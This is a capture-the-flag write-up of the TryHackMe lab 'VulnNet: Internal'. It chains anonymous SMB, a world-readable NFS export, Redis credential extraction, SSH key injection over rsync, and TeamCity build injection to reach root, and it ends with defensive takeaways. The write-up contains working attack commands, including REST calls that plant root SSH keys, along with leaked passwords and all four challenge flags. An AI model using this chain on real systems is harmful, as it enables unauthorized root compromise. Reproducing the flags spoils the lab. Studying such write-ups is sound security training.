CTF Writeup

VulnNet: Internal

TryHackMe · Internal Services Exploitation · Medium · by 0xb0rn3

Platform TryHackMe Category Internal Services Exploitation Difficulty Medium Target 10.48.185.54 Stack SMB / NFS / Redis / Rsync / TeamCity Flags 4 flags captured
0
Context

Overview

VulnNet: Internal is a machine designed around internal service misconfigurations rather than web application bugs. The attack chain pivots across multiple services — SMB, NFS, Rsync, Redis, and TeamCity CI/CD — each leaking credentials or access that leads to the next. Every flag requires a different service compromise.

The final privilege escalation exploits TeamCity's build execution as root to inject SSH keys into /root/.ssh/authorized_keys. Full automation PoC available in the repo.

METHODOLOGY
Recon → SMB/NFS/Rsync/Redis Enum → Credential Chain → SSH → TeamCity Abuse → Root

1. NFS leaks Redis config        → Redis password
2. Redis stores b64 rsync creds  → Rsync password
3. Rsync writable home dir       → SSH key injection → user shell
4. TeamCity running as root      → build RCE → root shell
1
Reconnaissance

Port Scan & Service Discovery

BASH
$ nmap -sV -sC -p- --min-rate 5000 -Pn 10.48.185.54

The machine immediately advertises a massive internal attack surface — 8 open services:

PortServiceVersion
22/tcpSSHOpenSSH 8.2p1
111/tcprpcbind2-4
139/tcpNetBIOS-SSNSamba smbd 4
445/tcpmicrosoft-dsSamba smbd 4
873/tcprsyncprotocol v31
2049/tcpNFS3-4
6379/tcpRediskey-value store
42283/tcpJava RMI
2
Enumeration

SMB — Anonymous Share Access

BASH
$ smbclient -L //10.48.185.54 -N
  shares      VulnNet Business Shares  (anonymous access)
  print$      Printer Drivers
  IPC$        IPC

$ smbclient //10.48.185.54/shares -N -c "recurse ON; ls"
  temp/services.txt
  data/data.txt
  data/business-req.txt

The shares share allows anonymous access. Inside temp/, services.txt contains the first flag.

 Flag 1 — services.txt
THM{0a09d51e488f5fa105d8d866a497440a}
3
Enumeration

NFS — World-Readable Config Export

The NFS export /opt/conf is shared with * — world-accessible with no IP restrictions. Mounting it reveals a full Redis configuration file.

BASH
$ showmount -e 10.48.185.54
Export list: /opt/conf *

$ sudo mount -t nfs 10.48.185.54:/opt/conf /tmp/nfs_mount
$ ls /tmp/nfs_mount
hp  init  opt  profile.d  redis  vim  wildmidi

$ grep 'requirepass' /tmp/nfs_mount/redis/redis.conf
requirepass "B65Hx562F@ggAZ@F"

Redis password obtained: B65Hx562F@ggAZ@F — the first link in the credential chain.

4
Enumeration

Redis — Internal Flag & Credential Extraction

BASH
$ redis-cli -h 10.48.185.54 -a 'B65Hx562F@ggAZ@F' keys '*'
marketlist  int  tmp  internal flag  authlist

$ redis-cli -h 10.48.185.54 -a 'B65Hx562F@ggAZ@F' get "internal flag"
THM{ff8e518addbbddb74531a724236a8221}
 Flag 2 — internal flag
THM{ff8e518addbbddb74531a724236a8221}

The authlist key contains base64-encoded rsync credentials — stored in Redis as if it were a secrets manager (it isn't):

BASH
$ redis-cli -h 10.48.185.54 -a 'B65Hx562F@ggAZ@F' lrange authlist 0 -1
QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9...

$ echo "QXV0aG9yaXphdGlvbi..." | base64 -d
Authorization for rsync://rsync-connect@127.0.0.1 with password Hcg3HP67@TW@Bc72v

Rsync credentials obtained: rsync-connect / Hcg3HP67@TW@Bc72v

5
Initial Access

Rsync — User Flag & SSH Key Injection

BASH
$ export RSYNC_PASSWORD='Hcg3HP67@TW@Bc72v'
$ rsync --list-only rsync://rsync-connect@10.48.185.54/files/
ssm-user  sys-internal  ubuntu

$ rsync rsync://rsync-connect@10.48.185.54/files/sys-internal/user.txt /tmp/
THM{da7c20696831f253e0afaca8b83c07ab}
 Flag 3 — user.txt
THM{da7c20696831f253e0afaca8b83c07ab}

The rsync share exposes the full home directory of sys-internal — including a writable .ssh/ directory. SSH key injection is trivial:

BASH
$ ssh-keygen -t rsa -b 4096 -f /tmp/vulnnet_key -N ""
$ cp /tmp/vulnnet_key.pub /tmp/authorized_keys

# Upload via rsync
$ rsync /tmp/authorized_keys     rsync://rsync-connect@10.48.185.54/files/sys-internal/.ssh/authorized_keys

# SSH in
$ ssh -i /tmp/vulnnet_key sys-internal@10.48.185.54
uid=1000(sys-internal) gid=1000(sys-internal)
6
Privilege Escalation

TeamCity RCE — Build Injection as Root

Process enumeration reveals TeamCity CI/CD running as root on port 8111. The super user authentication token is logged in plaintext:

BASH
$ ps aux | grep -i team
root 1221 ... /TeamCity/... org.apache.catalina.startup.Bootstrap start

$ grep 'Super user authentication token' /TeamCity/logs/catalina.out | tail -1
[TeamCity] Super user authentication token: 8977196237306343825

Set up SSH port forwarding to access the internal TeamCity instance, then authenticate via the REST API using the super user token:

BASH
# SSH tunnel
$ ssh -i /tmp/vulnnet_key -L 8111:127.0.0.1:8111     sys-internal@10.48.185.54 -N -f

# Create project + build config
$ curl -u ":8977196237306343825" -X POST     http://127.0.0.1:8111/app/rest/projects     -H "Content-Type: application/json"     -d '{"name":"Pwn","id":"Pwn","parentProject":{"id":"_Root"}}'

$ curl -u ":8977196237306343825" -X POST     http://127.0.0.1:8111/app/rest/buildTypes     -H "Content-Type: application/json"     -d '{"id":"PwnBuild","name":"PwnBuild","project":{"id":"Pwn"}}'

Inject a malicious build step that runs as root — writes our SSH public key into /root/.ssh/authorized_keys and dumps the root flag:

BASH
$ curl -u ":TOKEN" -X POST     http://127.0.0.1:8111/app/rest/buildTypes/id:PwnBuild/steps     -H "Content-Type: application/json"     -d '{
      "name": "pwn",
      "type": "simpleRunner",
      "properties": {"property": [
        {"name": "script.content",
         "value": "mkdir -p /root/.ssh && echo PUBKEY >> /root/.ssh/authorized_keys && cat /root/root.txt > /tmp/root_flag.txt"},
        {"name": "use.custom.script", "value": "true"},
        {"name": "teamcity.step.mode", "value": "default"}
      ]}
    }'

# Trigger build
$ curl -u ":TOKEN" -X POST     http://127.0.0.1:8111/app/rest/buildQueue     -H "Content-Type: application/json"     -d '{"buildType": {"id": "PwnBuild"}}'

Build executes as root. Flag retrieved, SSH key planted:

BASH
$ cat /tmp/root_flag.txt
THM{e8996faea46df09dba5676dd271c60bd}

$ ssh -i /tmp/vulnnet_key root@10.48.185.54
uid=0(root) gid=0(root) groups=0(root)
 Flag 4 — root.txt
THM{e8996faea46df09dba5676dd271c60bd}
Visualization

Attack Chain

1
SMB Anonymous Access
Retrieved services.txt from sharesFlag 1
2
NFS World-Readable Export
Mounted /opt/conf → leaked Redis password B65Hx562F@ggAZ@F
3
Redis Credential Extraction
Got Flag 2 + decoded rsync creds from authlist key
4
Rsync → SSH Key Injection
Writable .ssh/ dir → uploaded authorized_keys → Flag 3 + user shell
5
TeamCity Super User Token
Plaintext token in catalina.out → authenticated REST API access
Build RCE as Root → Game Over
Malicious build step → root SSH key + THM{e8996faea46df09dba5676dd271c60bd}
Assessment

Vulnerabilities

FindingServiceSeverityImpact
CI/CD running as root TeamCity (8111) Critical Build RCE → full root compromise
Super user token in logs TeamCity (8111) Critical Unauthenticated admin access
Writable home via rsync Rsync (873) High SSH key injection → user shell
Plaintext creds in Redis Redis (6379) High Rsync credential disclosure
World-readable NFS export NFS (2049) High Redis password disclosure
Anonymous SMB share SMB (445) Medium Information disclosure
Defense

Takeaways

NFS Access Controls
Export /opt/conf was shared to *. Use IP-based restrictions, root_squash, and nosuid options.
Redis Is Not a Secrets Manager
Storing credentials in Redis creates a single point of failure. Bind to 127.0.0.1 and use proper secrets management.
Rsync Write Access
Writable rsync modules exposing home directories enable trivial SSH key injection. Restrict write access and never expose .ssh/ directories.
CI/CD Least Privilege
TeamCity build agents and servers must never run as root. Builds with shell execution as root turn any authenticated user into a superuser.
Automation

Full-Chain Exploit Script

The complete exploitation chain is automated in vulnnet_internal_pwn.sh — a Bash script that chains all 7 phases from recon to root.

BASH
$ chmod +x vulnnet_internal_pwn.sh
$ ./vulnnet_internal_pwn.sh 10.48.185.54

[*] Target: 10.48.185.54
[FLAG] services.txt → THM{0a09d51e488f5fa105d8d866a497440a}
[FLAG] internal flag → THM{ff8e518addbbddb74531a724236a8221}
[FLAG] user.txt → THM{da7c20696831f253e0afaca8b83c07ab}
[FLAG] root.txt → THM{e8996faea46df09dba5676dd271c60bd}

View source on GitHub

Arsenal

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
smbclientAnonymous SMB share enumeration
showmount / mountNFS export discovery and mounting
redis-cliRedis key enumeration and data extraction
rsyncFile synchronization and SSH key upload
ssh / ssh-keygenKey generation, tunneling, shell access
curlTeamCity REST API exploitation
vulnnet_internal_pwn.shFull-chain automated exploit (Bash)